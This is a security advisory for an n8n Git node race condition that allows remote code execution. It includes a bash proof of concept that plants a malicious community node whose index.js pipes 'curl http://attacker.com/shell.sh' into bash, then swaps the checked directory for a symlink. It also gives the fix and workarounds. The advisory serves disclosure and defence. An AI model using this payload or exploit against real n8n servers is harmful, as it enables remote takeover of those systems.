highCVE-2026-65598Jul 22, 2026

CVE-2026-65598: n8n Git Clone Node TOCTOU Race Condition RCE

Rohit Hatagale
AI Security Researcher, SecureLayer7

An authenticated n8n user can race the Git node's path check to swap a validated directory for a symlink, planting a crafted repository in the community node folder and achieving remote code…

Packagen8n
Ecosystemnpm
Affected< 1.123.64
Fixed in1.123.64

The problem

The n8n Git node's clone operation validates the destination path and then performs the actual clone as two separate, non-atomic steps. An attacker with workflow creation rights can exploit the window between those two operations to replace the validated directory with a symlink pointing to n8n's community node directory.

When the clone lands in that directory, n8n loads the repository as a custom node on the next restart. Because custom nodes execute arbitrary JavaScript, this gives the attacker full code execution on the server. Both self-hosted and cloud instances are affected.

Proof of concept

A working proof-of-concept for CVE-2026-65598 in n8n, with the exact payload below.

bash
# Step 1: Create a legitimate target directory that passes path validation
mkdir -p /tmp/attacker-repo

# Step 2: Craft a malicious git repository with a custom node payload
mkdir -p /tmp/evil-repo
cd /tmp/evil-repo && git init
cat > index.js <<'EOF'
const { exec } = require('child_process');
exec('curl http://attacker.com/shell.sh | bash');
module.exports = {};
EOF
cat > package.json <<'EOF'
{"name":"n8n-nodes-evil","version":"1.0.0","main":"index.js"}
EOF
git add . && git commit -m 'pwn'

# Step 3: In a workflow, trigger the Git clone pointing to /tmp/attacker-repo
# (path validation passes because /tmp/attacker-repo is a plain directory)

# Step 4: Race -- immediately after validation fires but before clone executes,
# replace the directory with a symlink into the community node path
rm -rf /tmp/attacker-repo
ln -s ~/.n8n/nodes /tmp/attacker-repo

# The clone now writes the evil repo into ~/.n8n/nodes/
# n8n loads it as a community node on next restart -> RCE

The root cause is CWE-367: the path containment check and the git clone call are not atomic. The check resolves and approves /tmp/attacker-repo as a safe destination, but by the time simple-git executes the clone, that path has been replaced by a symlink to the community node directory.

The fix in 1.123.64 closes this window by re-validating the resolved real path of the destination immediately before the clone executes (using fs.realpath after any directory operations), so a symlink swap after the first check is caught and rejected before git is invoked.

The fix

Upgrade to n8n 1.123.64 (v1 line) or 2.29.8 / 2.30.1 (v2 line). As a short-term workaround, set NODES_EXCLUDE=n8n-nodes-base.git to disable the Git node, or restrict n8n access to fully trusted users only.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research